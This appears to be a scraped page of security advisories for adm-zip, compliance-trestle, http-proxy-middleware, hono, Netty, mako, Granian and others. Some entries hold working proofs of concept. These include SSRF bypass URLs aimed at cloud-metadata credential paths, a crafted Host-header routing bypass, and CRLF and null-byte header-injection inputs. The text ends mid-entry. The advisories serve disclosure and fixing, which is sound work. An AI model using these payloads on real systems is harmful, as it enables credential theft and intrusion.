adm-zip 0.5.9 through 0.6.0 follows symbolic links at the extraction destination. Utils.sanitize in util/utils.js enforces containment by comparing only the string form of an archive entry name against the resolved extraction root, and Utils.writeFileTo opens the computed destination with fs.openSync(path, "w", 0o666), which resolves symbolic links and carries neither ONOFOLLOW nor a pre-write fs.lstatSync check. When a path component at the destination already exists as a symbolic link pointing outside the extraction root, extractAllTo, extractAllToAsync and extractEntryTo write the entry contents through that link and then chmod its target, placing attacker-controlled content in a file outside the root without any traversal sequence appearing in the archive. Reaching the write requires overwrite to be enabled, because the preceding fs.existsSync check also resolves the link and otherwise declines. An attacker able to create a symbolic link inside a shared, reused or predictable extraction directory, such as a temporary directory or a continuous integration workspace, can overwrite any file the extracting process is permitted to write.

First published (updated )
Severity
8.6
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

compliance-trestle 4.0.3 (latest) ships an URLSecurityValidator in trestle/core/remote/security.py to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks:

- IPv4-mapped IPv6 literals ([::ffff:169.254.169.254], [::ffff:127.0.0.1], [::ffff:10.0.0.1]) are returned by socket.getaddrinfo as IPv6Address objects; IPv6Address in IPv4Network('169.254.0.0/16') returns False, so the checkblockednetworks and checkprivatenetworks predicates do not match. - IPv4 unspecified address 0.0.0.0 is not in ALWAYSBLOCKEDNETWORKS (which covers 127.0.0.0/8 but not 0.0.0.0/8); on Linux + Docker, 0.0.0.0 routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners.

A malicious OSCAL profile referencing one of these URLs in imports[].href or back-matter.resources[].rlinks[].href causes HTTPSFetcher.init and dofetch (which both invoke validator.validateurl) to pass the URL through to requests.get, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with TRESTLEBLOCKPRIVATEIPS=true set) that the validator was specifically designed to block.

Affected versions

compliance-trestle (PyPI) versions <= 4.0.3 are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced URLSecurityValidator; prior releases had no SSRF guard at all.

Privilege required

Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via HTTPSFetcher or SFTPFetcher. The most realistic vector is a malicious OSCAL profile whose imports[].href references one of the bypass URLs; the artifact then flows through trestle href add / trestle import / trestle assemble / trestle author / any workflow that resolves the profile's imports.

Root cause

trestle/core/remote/security.py (4.0.3, lines 56-71 + 156-167):

python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), # IPv4 loopback only ipaddress.ipnetwork('::1/128'), # IPv6 loopback (single address) ipaddress.ipnetwork('169.254.0.0/16'), # IPv4 link-local only ipaddress.ipnetwork('fe80::/10'), # IPv6 link-local ]

METADATAHOSTNAMES = { '169.254.169.254', # IPv4 literal only 'metadata.google.internal', 'metadata.azure.com', '100.100.100.200', }

def checkblockednetworks(self, ipaddr, hostname): for network in ALWAYSBLOCKEDNETWORKS: if ipaddr in network: # IPv6Address in IPv4Network -> False raise TrestleError(...)

Four independent gaps:

1. No IPv4-mapped IPv6 normalization. socket.getaddrinfo('::ffff:169.254.169.254', None) returns an IPv6Address. Python's ipaddress module raises TypeError if mixed types are compared, and the in operator suppresses that to False. The validator never calls .ipv4mapped to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the [::ffff:N.N.N.N] literal.

2. METADATAHOSTNAMES is an exact-string set. The hostname for https://[::ffff:169.254.169.254]/ is ::ffff:169.254.169.254, which is not in the set.

3. 0.0.0.0 is not blocked. 0.0.0.0 is not in any of the four ALWAYSBLOCKEDNETWORKS ranges. On Linux and inside containers, connecting to 0.0.0.0 routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on 0.0.0.0:PORT).

4. DNS rebinding ribbon is only one IP deep. resolvehostname records the first getaddrinfo result set, but a hostname with mixed records can still serve a private IP on the second resolution validator.validateurl(self.url) performs in dofetch. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding.

Sibling code paths sharing the same defect: SFTPFetcher.init (lines 359-365 of cache.py) wires the identical URLSecurityValidator and inherits all four gaps.

Reproduction (E2E against pip install compliance-trestle==4.0.3 + local IMDS simulator)

bash 1. Setup mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle python3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's isglobal fix, proving this bypass is isglobal-INDEPENDENT ./venv/bin/pip install --quiet compliance-trestle==4.0.3 ./venv/bin/pip show compliance-trestle | head -2 Name: compliance-trestle Version: 4.0.3

2. Driver cat > e2efull.py <<'PY' import http.server, http.client, socket, socketserver, threading, time, os from urllib.parse import urlparse from trestle.core.remote.security import URLSecurityValidator, getblockprivateipsconfig from trestle.common.err import TrestleError

class IMDS(http.server.BaseHTTPRequestHandler): def doGET(self): body = b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF","SecretAccessKey":"REDACTED","Token":"FAKEIMDSRESPONSE"}' self.sendresponse(200); self.sendheader("Content-Length", str(len(body))); self.endheaders(); self.wfile.write(body) def logmessage(self, a, kw): pass

class DualStack(socketserver.ThreadingMixIn, http.server.HTTPServer): addressfamily = socket.AFINET6 def serverbind(self): try: self.socket.setsockopt(socket.IPPROTOIPV6, socket.IPV6V6ONLY, 0) except (AttributeError, OSError): pass super().serverbind()

PORT = 18560 srv = DualStack(("::", PORT), IMDS) threading.Thread(target=srv.serveforever, daemon=True).start() time.sleep(0.2)

validator = URLSecurityValidator(blockprivateips=True) def attempt(label, url, expectblock): try: validator.validateurl(url); verdict, blocked = "VALIDATION PASSED", False except TrestleError as e: verdict, blocked = f"BLOCKED: {str(e)[:80]}", True meta = "(expected)" if blocked == expectblock else "( UNEXPECTED )" print(f"\n[{label}]\n URL: {url}\n Validator: {verdict} {meta}") if not blocked: try: p = urlparse(url); c = http.client.HTTPConnection(p.hostname, p.port or 443, timeout=3) c.request("GET", p.path or "/"); r = c.getresponse(); print(f" Connectivity: HTTP {r.status}, body[:60]={r.read()[:60]!r}"); c.close() except Exception as e: print(f" Connectivity: {type(e).name}: {str(e)[:80]}")

Negative controls (validator must block) attempt("NEG-1: literal 169.254.169.254", f"https://169.254.169.254:{PORT}/latest/meta-data/", True) attempt("NEG-2: literal 127.0.0.1", f"https://127.0.0.1:{PORT}/admin", True) attempt("NEG-3: metadata.google.internal", f"https://metadata.google.internal:{PORT}/", True) attempt("NEG-4: literal 10.0.0.1 RFC1918", f"https://10.0.0.1:{PORT}/admin", True) Bypasses (validator should block, but does not) attempt("BYPASS-1: IPv4-mapped IPv6 cloud-metadata", f"https://[::ffff:169.254.169.254]:{PORT}/latest/meta-data/iam/security-credentials/admin", True) attempt("BYPASS-2: 0.0.0.0 reaches localhost", f"https://0.0.0.0:{PORT}/admin", True) attempt("BYPASS-3: IPv4-mapped IPv6 loopback", f"https://[::ffff:127.0.0.1]:{PORT}/admin", True) attempt("BYPASS-4: IPv4-mapped IPv6 RFC 1918", f"https://[::ffff:10.0.0.1]:{PORT}/admin", True) srv.shutdown() PY

3. Run ./venv/bin/python e2efull.py

Observed output on a supported runtime, Python 3.12.13 / macOS Darwin 25.3.0 (verbatim). Note 3.12.13 is >= 3.12.4, so CPython CVE-2024-4032's isglobal/isprivate reclassification IS active here; the bypass nevertheless works because this validator uses IPv6Address in IPv4Network(...) membership (which silently returns False for cross-version comparison), NOT the isglobal predicate. The mechanism is therefore robust to CPython version:

Python: 3.12.13 compliance-trestle: 4.0.3 ::ffff:169.254.169.254 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:127.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False ::ffff:10.0.0.1 isglobal=False isprivate=True in IPv4Network('169.254.0.0/16')=False

[NEG-1: literal 169.254.169.254] URL: https://169.254.169.254:18560/latest/meta-data/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: 169.254.169.254. This is a se (expected)

[NEG-2: literal 127.0.0.1] URL: https://127.0.0.1:18560/admin Validator: BLOCKED: Access to 127.0.0.0/8 addresses is blocked: 127.0.0.1 resolves to 127.0.0.1. Thi (expected)

[NEG-3: metadata.google.internal] URL: https://metadata.google.internal:18560/ Validator: BLOCKED: Access to cloud metadata endpoints is not allowed: metadata.google.internal. Thi (expected)

[NEG-4: literal 10.0.0.1 RFC1918] URL: https://10.0.0.1:18560/admin Validator: BLOCKED: Access to private IP addresses is blocked: 10.0.0.1 resolves to 10.0.0.1 which i (expected)

[BYPASS-1: IPv4-mapped IPv6 cloud-metadata] URL: https://[::ffff:169.254.169.254]:18560/latest/meta-data/iam/security-credentials/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: TimeoutError: timed out

[BYPASS-2: 0.0.0.0 reaches localhost] URL: https://0.0.0.0:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'

[BYPASS-3: IPv4-mapped IPv6 loopback] URL: https://[::ffff:127.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: HTTP 200, body[:60]=b'{"Code":"Success","AccessKeyId":"AKIAPWNEDVIATRESTLESSRF'

[BYPASS-4: IPv4-mapped IPv6 RFC 1918] URL: https://[::ffff:10.0.0.1]:18560/admin Validator: VALIDATION PASSED ( UNEXPECTED ) Connectivity: RemoteDisconnected: Remote end closed connection without response

(The bracketed-IPv6 diagnostic lines above are the load-bearing proof of isglobal-independence: even with CPython's CVE-2024-4032 fix active (isglobal=False, isprivate=True), the validator's in IPv4Network(...) membership check still returns False, so the bypass is not contingent on running an older Python. BYPASS-1/BYPASS-4 show the guard passing the URL; their connectivity lines time out only because the local sentinel listens on loopback/::, not on those literal addresses -- the security-relevant result is the validator passing, which on a real dual-stack host routes to the embedded IPv4 endpoint.)

Negative controls confirm the validator works as designed for the canonical literal forms it was written to block. All four bypass URLs pass URLSecurityValidator.validateurl() on the latest patched release.

Impact

- SSRF to AWS / Azure / GCP / Alibaba IMDS via https://[::ffff:169.254.169.254]/latest/meta-data/iam/security-credentials/<role> -> short-lived role credentials exfiltrated through the cached fetch. - SSRF to loopback administrative interfaces via https://0.0.0.0:PORT/ or https://[::ffff:127.0.0.1]:PORT/ -> access to local-only admin endpoints (Docker socket on unix://, Prometheus, etcd, Kubelet) that the validator was supposed to deny. - SSRF to RFC 1918 internal services via https://[::ffff:10.0.0.1]/... even when TRESTLEBLOCKPRIVATEIPS=true is explicitly set, defeating the operator's defense-in-depth posture. - The cache-write traversal protection (PathSecurityValidator.validateurlpathforcache + validatecachepath) is orthogonal and remains effective; this advisory is scoped to the SSRF allowlist gap only.

Suggested fix

Normalize every resolved IP to its canonical IPv4 form before membership checks, and add 0.0.0.0 to the always-blocked set. Diff sketch against trestle/core/remote/security.py:

python ALWAYSBLOCKEDNETWORKS = [ ipaddress.ipnetwork('127.0.0.0/8'), ipaddress.ipnetwork('::1/128'), ipaddress.ipnetwork('169.254.0.0/16'), ipaddress.ipnetwork('fe80::/10'), ipaddress.ipnetwork('0.0.0.0/8'), # IPv4 "this network", reaches localhost on Linux ipaddress.ipnetwork('::/128'), # IPv6 unspecified ]

def canonicalizeip(self, ipaddr): """Map IPv4-mapped IPv6 addresses (::ffff:a.b.c.d) to their IPv4 form.""" if isinstance(ipaddr, ipaddress.IPv6Address) and ipaddr.ipv4mapped is not None: return ipaddr.ipv4mapped return ipaddr

def checkblockednetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) for network in ALWAYSBLOCKEDNETWORKS: if ipaddr.version == network.version and ipaddr in network: raise TrestleError(...)

def checkprivatenetworks(self, ipaddr, hostname): ipaddr = self.canonicalizeip(ipaddr) # ... same canonicalization before blockprivateip / warnprivateip

Also add the canonicalized literal to checkmetadataendpoints:

python def checkmetadataendpoints(self, hostname): # Canonicalize bracketed IPv6 literal hostnames before exact-match canonical = hostname.strip('[]') try: canonicalip = ipaddress.ipaddress(canonical) if isinstance(canonicalip, ipaddress.IPv6Address) and canonicalip.ipv4mapped: canonical = str(canonicalip.ipv4mapped) except ValueError: pass if canonical in METADATAHOSTNAMES: raise TrestleError(...)

This mirrors the canonicalization pattern that pyca/cryptography, rustls-webpki, and the recent Node undici SSRF patches converged on after similar IPv6-mapped bypasses surfaced in 2024-2025.

Credit

Reported by tonghuaroot.

1 / 2
Source: GitHub
First published (updated )
Severity
5.6
Path Traversal
AV:N/AC:H/AT:P/PR:H/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

pip absolute path traversal during download from malicious package indexes

1 / 2
Source: Microsoft
First published (updated )
Severity
6.9
Input Validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.

Details

Tested code state:

- validated on tag v4.0.0-beta.5 - corresponding commit: 339f09ede860197807d4fd99ed9020fa5d0bd358

Relevant code locations:

- src/router.ts - src/http-proxy-middleware.ts

Affected public API:

- createProxyMiddleware({ router: { 'host/path': 'http://target' } })

Code explanation:

When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:

ts hostAndPath.indexOf(key) > -1

That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:

txt localhost:3000/api

but the attacker-controlled host is:

txt evillocalhost:3000

and the request path is:

txt /api

The concatenated attacker-controlled string:

txt evillocalhost:3000/api

still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.

Exploit path:

1. the application enables the documented proxy-table router feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted Host header 3. HttpProxyMiddleware.prepareProxyRequest() applies router selection before proxying 4. getTargetFromProxyTable() accepts the crafted Host + path string through substring matching 5. the request is proxied to the wrong backend

PoC

Create these files in the same working directory and run:

bash bash ./run.sh

File: run.sh

bash #!/usr/bin/env bash set -euo pipefail

SCRIPTDIR="$(cd "$(dirname "${BASHSOURCE[0]}")" && pwd)" REPOURL="https://github.com/chimurai/http-proxy-middleware.git" REPOREF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPTDIR}/.tmp-repro.XXXXXX")" TARGETREPODIR="${WORKDIR}/repo" REPRODIR="${WORKDIR}/reproduction" IMAGETAG="http-proxy-middleware-router-bypass-poc"

cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT

echo "[a3] cloning target repository" git clone --quiet "${REPOURL}" "${TARGETREPODIR}" git -C "${TARGETREPODIR}" checkout --quiet "${REPOREF}"

mkdir -p "${REPRODIR}" cp "${SCRIPTDIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPTDIR}/verify.mjs" "${REPRODIR}/verify.mjs"

echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGETAG}" "${WORKDIR}"

echo "[a3] running verification" docker run --rm "${IMAGETAG}" node /work/reproduction/verify.mjs

File: Dockerfile

Dockerfile FROM node:22-bullseye

WORKDIR /work

COPY repo/package.json repo/yarn.lock /work/repo/

RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile

COPY repo /work/repo RUN cd /work/repo && yarn build

COPY reproduction /work/reproduction

File: verify.mjs

js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict';

import { createProxyMiddleware } from '/work/repo/dist/index.js';

const ROUTERKEY = 'localhost:3000/api'; const CRAFTEDHOST = 'evillocalhost:3000';

function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); }

function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); }

function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); }

const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); });

const secretBackend = http.createServer((req, res) => { res.end('SECRET'); });

const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTERKEY]: 'http://127.0.0.1:3102', }, });

const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NOPROXY'); }); });

try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));

await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok');

const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(STEP baseline-route body=${baseline.body});

const crafted = await request('/api', CRAFTEDHOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTEDHOST, ROUTERKEY.split('/')[0]); console.log(STEP crafted-route body=${crafted.body});

console.log('RESULT reproduced hostheaderinjection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); }

This PoC starts:

- one default backend returning DEFAULT - one alternate backend returning SECRET - one proxy using:

js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTERKEY]: 'http://127.0.0.1:3102', }, });

It then sends:

1. a baseline request to /api with Host: safe.example:3000 2. a crafted request to /api with Host: evillocalhost:3000

Observed result from the validated PoC:

- baseline request: STEP baseline-route body=DEFAULT - crafted request: STEP crafted-route body=SECRET - success marker: RESULT reproduced hostheaderinjection router substring match bypass

The PoC is considered successful only if:

1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host

Impact

This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Netty is a network application framework for development of protocol servers and clients. In netty-codec-haproxy prior to versions 4.1.135.Final and 4.2.15.Final, when decoding a PP2TYPESSL TLV, HAProxyMessage.readNextTLV() first calls header.retainedSlice(header.readerIndex(), length) and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

1 / 2
Source: MITRE
First published (updated )
Severity
6.5
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

The jwt and jwk middlewares do not verify that the Authorization header value uses theBearer scheme. Any two-part header value — regardless of the scheme name in the first position — proceeds to JWT verification. A request presenting a valid JWT under a non-Bearer scheme identifier (such as Basic or Token) is authenticated identically to a correctly formed Bearer request.

Details

When processing an Authorization (or custom) header, the middleware splits the value on whitespace and uses the second token as the JWT to verify. It does not check that the first token is bearer (case-insensitively). RFC 6750 specifies that JWT bearer tokens must be presented using the Bearer scheme; other scheme identifiers carry distinct semantics and may be subject to different policies in network-layer security controls.

This discrepancy means that scheme-aware external controls — such as WAF rules, API gateways, or reverse proxies that apply policies specific to the Bearer scheme identifier — can be bypassed by presenting a valid JWT under a different scheme name.

This issue affects hono/jwt and hono/jwk middleware.

Impact

An attacker who possesses a valid JWT may present it under a non-Bearer scheme identifier and still pass middleware authentication.

This may lead to:

- Bypass of network-layer security controls that inspect or filter requests based on the authorization scheme identifier - Token reuse across authentication schemes in applications that use multiple authorization mechanisms

This issue affects applications where hono/jwt or hono/jwk authentication is combined with external controls that enforce scheme-based access policies.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Summary

The ip-restriction middleware (hono/ip-restriction) compares incoming IP addresses against configured deny and allow rules using string equality after partial normalization. Non-canonical IPv6 representations of an address already listed in a static rule — such as compressed forms, explicit-zero forms, or hex-notation IPv4-mapped addresses — do not match the normalized rule entry, causing the rule to be silently skipped.

Details

When the rule matcher is built, each configured IP rule is normalized to a canonical string form. Incoming IP addresses received at request time are then compared against those canonical strings without applying the same normalization. Because IPv6 permits multiple syntactically different representations of the same numeric address, a non-canonical form of a denied address fails the string lookup and proceeds to the CIDR check, which also finds no match for rules registered as static (no prefix length). The request is then allowed.

Affected non-canonical forms include:

- Compressed versus expanded notation (2001:db8::1 vs 2001:db8:0:0:0:0:0:1) - Hex-notation IPv4-mapped addresses (::ffff:7f00:1 vs ::ffff:127.0.0.1) - Zone identifier suffixes (e.g., fe80::1%eth0)

Additionally, invalid IP address strings provided as the remote address are not rejected and may result in unexpected allow or deny behavior.

This issue arises when applications use ipRestriction() with static (non-CIDR) rules and the IP address source can supply addresses in non-canonical IPv6 form.

Impact

A request from an IP address covered by a static deny rule may bypass the restriction if the address is presented in a non-canonical IPv6 form.

This may lead to:

- Unauthorized access to endpoints intended to be restricted to specific IP addresses - Bypass of IP-based access controls in environments where the runtime or an upstream proxy provides source addresses in a form that differs from the canonical form used in the rule configuration

This issue affects applications using hono/ip-restriction with static deny rules for IPv4 or IPv6 addresses, particularly when the source address is derived from proxy headers or custom getIP implementations that may return non-canonical forms.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Summary

The serialize() function in hono/cookie validates domain and path options against characters that corrupt Set-Cookie header syntax (;, \r, \n), but does not apply the same validation to sameSite and priority. An application that passes user-controlled input into either option may produce a Set-Cookie response header containing attacker-chosen additional attributes.

Details

When constructing a Set-Cookie header value, serialize() appends the sameSite and priority option values directly into the output string after a presentation-only transformation (capitalizing the first character). Although the TypeScript type signature constrains these options to specific string literals, that constraint is not enforced at runtime; any string value, including one containing ; or line-feed characters, passes through unchanged.

The validation guard that rejects ;, \r, and \n from domain and path is not applied to sameSite or priority. An application that passes a request-derived value to either option therefore provides an injection point into the header line.

This issue arises when an application passes user-controlled input to the sameSite or priority option of setCookie() or serialize().

Impact

An attacker who can control the sameSite or priority option value may inject additional attributes into a Set-Cookie response header.

This may lead to:

- Cookie attribute injection — overriding Domain, Path, HttpOnly, Secure, or Max-Age for the affected cookie - HTTP response header injection on runtimes that do not strictly validate header values, enabling a second attacker-controlled Set-Cookie header in the same response

This issue affects applications that pass user-derived input into the sameSite or priority option of hono/cookie serialization functions.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

app.mount() strips the mount prefix from the incoming request path using the raw URL pathname, while route matching is performed against the percent-decoded path. This inconsistency causes the prefix to be stripped at the wrong position when the path contains percent-encoded multi-byte characters, resulting in the mounted sub-application receiving an incorrect path.

Details

When app.mount(prefix, subApp) is called, Hono calculates the number of characters to strip based on the decoded mount prefix length, but then applies that slice to the raw URL pathname. When the URL contains percent-encoded characters that expand to fewer characters when decoded (such as encoded non-ASCII characters), the two representations have different lengths, so the prefix is stripped at the wrong byte offset.

As a result, the sub-application receives a path that does not correspond to the intended sub-path — it may receive a partial or garbled path instead of the expected value after the mount prefix is removed.

This issue arises when an application uses app.mount() with paths that contain percent-encoded characters, particularly when the mount prefix itself or the request path contains encoded non-ASCII characters.

Impact

A mounted sub-application may receive an incorrectly stripped path, causing requests to be routed to unintended handlers within the sub-application.

This may lead to:

- Middleware or route handlers in the sub-application being bypassed or incorrectly matched due to the malformed path - Requests reaching sub-application routes that the developer did not intend to be accessible via the mounted path

This issue affects applications that use app.mount() where the request URL may contain percent-encoded characters in the mount prefix or subsequent path segments.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
EPSS
0.39%
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

A flaw was found in Keycloak. An authenticated user can bypass configured WebAuthn policies during credential registration by manipulating client-side JavaScript. This occurs because the server-side processAction() fails to validate that the newly created credential's parameters, such as public key algorithms, match the realm's configured WebAuthn policies. This could lead to the creation of credentials that do not adhere to administrative security requirements, potentially weakening the overall security posture of the system by allowing non-compliant authentication methods.

1 / 2
Source: MITRE
First published (updated )
Severity
6.3
EPSS
0.06%
AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

xml.parsers.expat and xml.etree.ElementTree use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash flooding.\r\n\r\nFully mitigating this vulnerability requires both updating libexpat to 2.8.0 or later and applying this patch.

1 / 3
Source: IBM
First published (updated )
Severity
7.4
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

go-git is an extensible git implementation library written in pure Go. Prior to versions 5.18.0 and 6.0.0-alpha.2, go-git may leak HTTP authentication credentials when following redirects during smart-HTTP clone and fetch operations. This issue has been patched in versions 5.18.0 and 6.0.0-alpha.2.

First published (updated )
Severity
8.7
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

On Windows, a URI using backslash traversal (e.g. \..\..\ secret.txt) bypasses the directory traversal check in Template.init and the posixpath-based normalization in TemplateLookup.gettemplate(), allowing reads of files outside the configured template directory.

Details

The root cause is a mismatch between posixpath (used for URI normalization in gettemplate()) and os.path (used for file access via os.path.isfile() and validation via os.path.normpath() in Template.init). On Windows, os.path is ntpath, which treats \ as a path separator, while posixpath treats it as a literal character.

The vulnerability chain:

1. gettemplate() strips only leading / via re.sub(r"^\/+", "", uri) and normalizes with posixpath — backslash \ is treated as a literal character, so \..\ secret.txt passes through with .. undetected. 2. Template.init() validation uses os.path.normpath() — on Windows this resolves \..\ secret.txt to \secret.txt, which does not start with .., so the startswith("..") check passes. 3. os.path.isfile() on Windows interprets \ as a path separator, resolving the .. traversal and finding files outside the template directory.

Affected code

- mako/lookup.py: TemplateLookup.gettemplate() uses posixpath.normpath/posixpath.join for path construction but os.path.isfile() for existence check - mako/template.py: Template.init() URI validation uses os.path.normpath() which on Windows resolves backslash traversal to a form that passes the startswith("..") guard

Impact

If an application passes user-controlled template names or include paths to TemplateLookup.gettemplate(), an attacker on Windows may be able to load and disclose readable files outside the configured template directory. The primary impact is local file disclosure. If the targeted file contains Mako/Python template syntax, it may also be parsed and executed as a template.

Remediation

The fix should normalize backslashes to forward slashes early in the URI processing pipeline, before any path operations, to ensure consistent behavior across platforms.

1 / 2
Source: GitHub
First published (updated )
Severity
5.9
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

- a header name containing a space - a header value containing \r\n - a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

python app.py def app(environ, startresponse): path = environ.get("PATHINFO", "/") if path == "/crash-name": headers = [("X Bad Name", "value")] elif path == "/crash-value": headers = [("Content-Type", "text/html\r\nX-Injected: evil")] elif path == "/crash-null": headers = [("X-Custom", "value\x00end")] else: startresponse("200 OK", [("Content-Type", "text/plain")]) return [b"OK - server alive\n"]

startresponse("200 OK", headers) return [b"This response kills the worker\n"]

bash granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

